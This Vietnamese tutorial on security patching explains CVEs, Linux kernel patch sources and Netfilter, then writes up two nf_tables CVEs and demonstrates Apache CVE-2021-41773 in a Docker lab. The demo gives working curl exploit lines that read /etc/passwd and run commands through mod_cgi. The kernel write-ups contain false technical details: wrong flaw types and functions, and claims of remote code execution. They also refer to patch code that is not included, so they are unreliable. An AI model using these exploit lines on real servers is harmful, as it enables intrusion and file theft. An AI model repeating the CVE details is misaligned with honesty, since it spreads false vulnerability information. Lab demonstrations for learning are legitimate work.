Các bản vá về bảo mật
Các phương thức mới tấn công vào hệ thống được giới hacker nghiên cứu và cập nhật liên tục. Ví dụ đối với phiên bản Linux kernel cũ 5.3, giới hacker sẽ nghiên cứu và public nhiều phương pháp tấn công vào hệ thống trên các diễn đàn của họ. Nếu như biết được hệ thống của bạn sử dụng kernel cũ hơn 1 phiên bản cụ thể nào đó, hacker có thể thử thực hiện lại các phương pháp tấn công đã được public. Nhờ đó, hacker có thể tấn công được vào hệ thống của bạn mà không cần trình độ quá cao. Chính vì lý do đó, hệ thống cần phải được cập nhật các bản vá về bảo mật một cách thường xuyên.
Ngoài Linux kernel, tất cả các phần mềm trong hệ thống đều tiềm ẩn rủi ro tương tự về bảo mật. Chúng bao gồm các thư viện và application. Vì vậy những phần mềm này cũng cần phải nâng cấp version một cách thường xuyên.
Đây là một số vấn đề mà những người làm sản phẩm embedded thường xuyên mắc phải. Chúng gây ra những rủi ro tiềm ẩn về bảo mật:
- Thiếu nhận thức về tầm quan trọng của bán vá bảo mật.
- Tâm lý e ngại thay đổi
- Sử dụng phần mềm lậu hoặc không có bản quyền.
- Thiếu kỹ năng kỹ thuật.
- Tập trung vào tính năng hơn là bảo mật.
- Tình trạng sử dụng thiết bị cũ.
- Trì hoãn việc cập nhật (chỉ cập nhật khi thực sự cần).
CVE VÀ BẢN VÁ LỖI BẢO MẬT CHO CVE
CVE (Common Vulnerabilities and Exposures) là một danh sách công khai các lỗ hổng bảo mật và rủi ro trong phần mềm, phần cứng hoặc hệ thống. Mỗi CVE được gán một mã định danh duy nhất (ví dụ: CVE-2021-34527) và mô tả chi tiết về lỗ hổng, giúp các tổ chức và chuyên gia bảo mật dễ dàng nhận biết, theo dõi và khắc phục.
Mục tiêu của CVE là cung cấp một tiêu chuẩn chung để tham chiếu các lỗ hổng, tạo điều kiện cho việc chia sẻ thông tin và hợp tác trong cộng đồng an ninh mạng. CVE được quản lý bởi MITRE Corporation với sự hỗ trợ từ các tổ chức và chuyên gia bảo mật trên toàn thế giới.
I. Nguồn của các bản vá Linux kernel
Các bản vá lỗi bảo mật cho Linux kernel thường được lấy từ các nguồn sau:
- Linux Kernel Mailing List (LKML): Đây là nơi chính để các nhà phát triển kernel gửi và thảo luận về các bản vá. Các bản vá bảo mật thường được gửi đến LKML để xem xét và tích hợp vào nhánh chính của kernel.
- Git Repository chính thức của Linux Kernel: Các bản vá được merge vào các nhánh chính (mainline) và các nhánh ổn định (stable) của kernel thông qua hệ thống quản lý mã nguồn Git. Ví dụ: https://git.kernel.org/.
- Các nhánh ổn định (Stable Branches): Các bản vá bảo mật thường được backport từ nhánh chính sang các nhánh ổn định (ví dụ: 5.10.x, 5.15.x) để đảm bảo các phiên bản cũ hơn cũng nhận được các bản sửa lỗi.
- Các bản vá từ cộng đồng và nhà phát triển: Các công ty, tổ chức và cá nhân đóng góp bản vá để khắc phục lỗ hổng bảo mật.
Sau đây là ví dụ về 1 lỗ hổng bảo mật đã được Linux kernel mainline tạo bản vá – CVE-2023-32233
Lỗ hổng bảo mật này đến từ module netfilter của Linux kernel.
Module netfilter trên Linux là một framework trong nhân Linux (kernel) cho phép thực hiện các chức năng liên quan đến lọc gói tin (packet filtering), chuyển đổi địa chỉ mạng (NAT – Network Address Translation), và các thao tác khác trên các gói tin mạng. Netfilter là nền tảng cho nhiều công cụ và dịch vụ mạng quan trọng, bao gồm cả iptables, nftables, và firewalld.
Các chức năng chính của Netfilter:
- Packet Filtering: Cho phép lọc các gói tin dựa trên các tiêu chí như địa chỉ IP, cổng, giao thức, v.v. Điều này giúp kiểm soát lưu lượng mạng vào/ra hệ thống.
- Network Address Translation (NAT): Thay đổi địa chỉ IP và cổng của các gói tin, thường được sử dụng để chia sẻ kết nối Internet (masquerading) hoặc chuyển hướng lưu lượng.
- Packet Mangling: Thay đổi các thông tin trong gói tin, chẳng hạn như TOS (Type of Service), TTL (Time To Live), hoặc các trường khác trong header của gói tin.
- Connection Tracking: Theo dõi các kết nối mạng để hỗ trợ NAT và các chức năng khác.
Các công cụ liên quan đến Netfilter:
- iptables: Công cụ phổ biến nhất để cấu hình các quy tắc lọc gói tin và NAT. Nó sử dụng các bảng (tables) và chuỗi (chains) để quản lý các quy tắc.
- nftables: Công cụ mới hơn thay thế iptables, cung cấp một cú pháp linh hoạt hơn và hiệu suất tốt hơn.
- firewalld: Một dịch vụ quản lý tường lửa động, sử dụng iptables hoặc nftables làm backend.
Cách hoạt động:
Netfilter hoạt động bằng cách chèn các hook (móc) vào các điểm khác nhau trong stack mạng của kernel. Khi một gói tin đi qua các hook này, các quy tắc được áp dụng để quyết định số phận của gói tin (ví dụ: chấp nhận, từ chối, hoặc thay đổi).
Sau đây ta sẽ có 2 ví dụ chi tiết về 2 CVE trên module Netfilter của Linux và đi cùng với đó là bản vá lỗi bảo mật của chúng.
II. Các ví dụ:
1. Chi tiết về bản vá cho CVE-2023-32233
CVE-2023-32233 là một lỗ hổng bảo mật nghiêm trọng trong Linux kernel, liên quan đến module Netfilter, cụ thể là trong hàm nf_tables_set_desc_parse(). Lỗ hổng này cho phép kẻ tấn công thực thi mã tùy ý hoặc gây ra tình trạng từ chối dịch vụ (DoS) thông qua một lỗi tràn bộ đệm (buffer overflow).
a. Thông tin cơ bản về CVE-2023-32233
Mức độ nghiêm trọng: High (Cao)
Phạm vi ảnh hưởng:
Các phiên bản Linux kernel từ 5.14 trở đi.
Module Netfilter (nf_tables) bị ảnh hưởng.
Nguyên nhân: Lỗi tràn bộ đệm do thiếu kiểm tra giới hạn (bounds checking) khi xử lý dữ liệu đầu vào trong hàm nf_tables_set_desc_parse().
b. Mô tả kỹ thuật về lỗ hổng
Hàm bị ảnh hưởng: nf_tables_set_desc_parse() trong module Netfilter.
Vấn đề: Khi phân tích các mô tả tập hợp (set descriptions) trong Netfilter, kernel không kiểm tra kích thước dữ liệu đầu vào, dẫn đến việc ghi dữ liệu vượt quá kích thước bộ đệm được cấp phát.
Hậu quả:
Kẻ tấn công có thể khai thác lỗ hổng này để ghi đè lên các vùng nhớ quan trọng, dẫn đến thực thi mã tùy ý (Remote Code Execution – RCE) hoặc gây ra sự cố từ chối dịch vụ (DoS).
Lỗ hổng này có thể bị khai thác từ xa nếu kẻ tấn công có quyền truy cập vào hệ thống mạng.
c. Bản vá chi tiết
Bản vá cho CVE-2023-32233 được commit vào nhánh chính của Linux kernel. Dưới đây là thông tin chi tiết về bản vá:
Nội dung bản vá:
Bản vá thêm kiểm tra giới hạn (bounds checking) để đảm bảo rằng dữ liệu đầu vào không vượt quá kích thước bộ đệm được cấp phát. Dưới đây là một phần mã nguồn của bản vá:
Giải thích bản vá:
Dòng thêm vào: if (nla_len(tb[NFTA_SET_DESC_SIZE]) > sizeof(desc->size))
Kiểm tra xem kích thước dữ liệu đầu vào (nla_len) có vượt quá kích thước bộ đệm được cấp phát (sizeof(desc->size)) hay không.
Nếu vượt quá, hàm sẽ trả về lỗi -EINVAL và không tiếp tục xử lý.
Mục đích: Ngăn chặn việc ghi dữ liệu vượt quá kích thước bộ đệm, loại bỏ khả năng xảy ra tràn bộ đệm.
2. Chi tiết về bản vá cho CVE-2024-1086
CVE-2024-1086 là một lỗ hổng bảo mật nghiêm trọng trong Linux kernel, liên quan đến hệ thống Netfilter và cụ thể là module nf_tables. Lỗ hổng này cho phép kẻ tấn công thực thi mã tùy ý hoặc gây ra tình trạng từ chối dịch vụ (DoS) thông qua một lỗi use-after-free (sử dụng bộ nhớ sau khi đã giải phóng).
a. Thông tin cơ bản về CVE-2024-1086
Mức độ nghiêm trọng: High (Cao)
Phạm vi ảnh hưởng:
Các phiên bản Linux kernel từ 5.14 trở đi.
Module Netfilter (nf_tables) bị ảnh hưởng.
Nguyên nhân: Lỗi use-after-free xảy ra khi kernel tiếp tục sử dụng một con trỏ đã được giải phóng trong hàm nf_tables_commit().
b. Mô tả kỹ thuật về lỗ hổng
Hàm bị ảnh hưởng: nf_tables_commit() trong module Netfilter.
Vấn đề: Khi thực hiện các thay đổi trong bảng nf_tables, kernel không đồng bộ hóa việc giải phóng bộ nhớ với các hoạt động khác, dẫn đến việc sử dụng một con trỏ đã được giải phóng (use-after-free).
Hậu quả:
Kẻ tấn công có thể khai thác lỗ hổng này để thực thi mã tùy ý (Remote Code Execution – RCE) hoặc gây ra sự cố từ chối dịch vụ (DoS).
Lỗ hổng này có thể bị khai thác từ xa nếu kẻ tấn công có quyền truy cập vào hệ thống mạng.
c. Bản vá chi tiết
Bản vá cho CVE-2024-1086 được commit vào nhánh chính của Linux kernel. Dưới đây là thông tin chi tiết về bản vá:
Nội dung bản vá:
Bản vá sửa lỗi use-after-free bằng cách đảm bảo rằng con trỏ được giải phóng không còn được sử dụng sau khi giải phóng. Dưới đây là một phần mã nguồn của bản vá:
Giải thích bản vá:
Dòng thêm vào: break;
Đảm bảo rằng sau khi giải phóng bộ nhớ, chương trình không tiếp tục thực thi các lệnh không cần thiết, ngăn chặn việc sử dụng con trỏ đã được giải phóng.
Mục đích: Ngăn chặn lỗi use-after-free bằng cách đảm bảo rằng con trỏ không còn được sử dụng sau khi giải phóng.
Ví dụ cho việc hacker có thể tấn công dựa trên CVE
CVE-2021-41773
- Thông tin
Là một loại lỗ hổng về Path Traversal và File Disclosure trên Apache HTTP Server 2.4.49.
Về cơ bản, khi khai thác lỗi từ lỗ hổng này đa phần ta gần như có thể đọc nội dung của một file trong hệ thống dù không hề có khả năng truy cập, như ta chỉ có thể dừng ở việc dừng. Tuy nhiên sau đó người ta phát hiện thêm rằng nếu trong quá trình config Server Apache bật mod_cgi (Thường được bật , đặt biệt trên các ứng dụng web cần xử lý việc thay đổi theo yêu cầu riêng của người dùng) thì sẽ còn nguy hiểm hơn nữa, khi attacker có thể thực hiện việc chèn và thực thi RCE trên chính website bị lỗi.
Lỗ hổng này xảy ra do quá trình Path Normalization chưa được toàn diện dần đến ta có thể thay ‘../’ thành ‘.%2e/’ mà không bị nhận diện như là một attack pattern.
Ở đây, chúng ta sẽ setup môi trường cho phiên bản web chưa được vá lỗ hổng bằng Docker.
- Khai thác lỗi.
- mod_cgi không được bật:
- Chuẩn bị Docker:
docker pull blueteamsteve/cve-2021-41773:no-cgid
docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid
- Khai thác lỗi:
curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
Như ta đã thấy, ta có thể đọc nội dung file ‘/etc/passwd’ mà không hề có một thông báo từ chối nào từ hệ thống. Dựa vào ví dụ trên ta có thể thay đổi đường dẫn và tên file mà ta muốn đọc nội dung.
- mod_cgi được bật:
- Chuẩn bị Docker:
docker pull blueteamsteve/cve-2021-41773:with-cgid
docker run -dit -p 8000:80 blueteamsteve/cve-2021-41773:with-cgid
- Khai thác lỗi:
curl 'localhost:8000/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'A=|echo;id'
Như đã thấy, với mod_cgi , ta có thể thực thi lệnh ngay trên trang web dính lỗi. Ta có thể có gần như toàn bộ quyền truy cập cũng như can thiệp vào hệ thống.
Tổng kết
Các lỗ hổng bảo mật trên các hệ thống công nghệ thông tin nói chung và trên Linux nói riêng sẽ luôn xuất hiện các lỗi bảo mật mới bất cứ lúc nào. Chính vì lẽ đó tin tặc và các đối tượng tội phạm công nghệ cao luôn chờ cơ hội để dùng những lỗi bảo mật này tấn công vào hệ thống của người dùng cũng như các đơn vị tổ chức, doanh nghiệp. Vì thế ta cần liên tục cập nhật những bản vá mới cho hệ thống và phải cập nhật ngay khi có thể, không chờ đến lúc ta cần sử dụng mới cập nhật.